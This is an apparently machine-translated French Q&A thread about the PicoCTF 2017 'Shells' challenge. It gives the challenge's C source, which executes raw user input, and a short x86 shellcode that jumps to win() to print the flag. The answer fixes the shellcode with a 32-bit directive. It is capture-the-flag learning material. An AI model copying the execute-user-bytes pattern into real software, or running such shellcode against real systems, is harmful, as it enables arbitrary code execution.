Coquilles CTF segfault - mauvaise adresse


-1

PicoCTF 2017 Shells I ont une source et binaire:

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sys/mman.h> 

#define AMOUNT_OF_STUFF 10 

//TODO: Ask IT why this is here 
void win(){ 
    system("/bin/cat ./flag.txt");  
} 


void vuln(){ 
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); 
    if(stuff == MAP_FAILED){ 
     printf("Failed to get space. Please talk to admin\n"); 
     exit(0); 
    } 
    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF); 
    fflush(stdout); 
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF); 
    if(len == 0){ 
     printf("You didn't give me anything :("); 
     exit(0); 
    } 

    void (*func)() = (void (*)())stuff; 
    func();  
} 

int main(int argc, char*argv[]){ 
    printf("My mother told me to never accept things from strangers\n"); 
    printf("How bad could running a couple bytes be though?\n"); 
    fflush(stdout); 
    vuln(); 
    return 0; 
} 

L'objectif est d'appeler la fonction de gain().

Alors: gdb ./shells Je adresse de la fonction gagnant: 0x08048540 puis je créer shellcode:

section .text 
    global _start 
_start: 
    mov eax,0x08048540 
    jmp eax 

section .data 

après compilez une utilisation sehllcode j'ai le drapeau. Mais quand je compile le code source au lieu d'utiliser donnée binaire:

gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2 

Cela ne marche plus, Segfault tout le temps. Pourquoi avec le fichier binaire ma méthode fonctionne et avec la source compilée ne fonctionne pas manuellement? PS. Le drapeau est au bon endroit.

  0

adresse de 'win' changements après recompilation? 26 nov.. 172017-11-26 14:29:23

  0

Oui les changements d'adresse, après que je recompile c'est 0x0000065d mais si j'utilise cette adresse j'ai segfault. 27 nov.. 172017-11-27 15:12:37

  0

bien '0x0000065d' peut seulement une partie de l'adresse. Le plein serait '0x804865d' je devine 27 nov.. 172017-11-27 20:38:36

  0

mais pourquoi gdb ou objdump montre dans l'adresse binaire orignal 0x08048540 mais en binaire compilé par moi 0x0000065d et fonctionne d'abord et deuxième pas? 27 nov.. 172017-11-27 21:19:49

1

Je pense que le spécificateur ne contient pas le spécificateur pour le bit-ness du shellcode. Vous compilez le shells en 32 bits, mais pour le nasm (je suppose que vous l'utilisez) n'a rien. Je suppose que vous compilez en mode bin et si vous cochez la documentation

... les paramètres par défaut de format de sortie du bac en mode 16 bits en prévision de celui-ci étant le plus souvent utilisé pour écrire des programmes DOS .COM , DOS .SYS pilotes de périphériques et le logiciel de chargeur de démarrage.

Donc ce que vous devez faire est:

[BITS 32] 
section .text 
    global _start 
_start: 
    mov eax,0x08048540 ; need to put correct address here of course 
    jmp eax 

section .data 

..compile & le tour est joué

enter image description here

  0

Merci! C'était le problème, maintenant ça marche. 29 déc.. 172017-12-29 15:42:30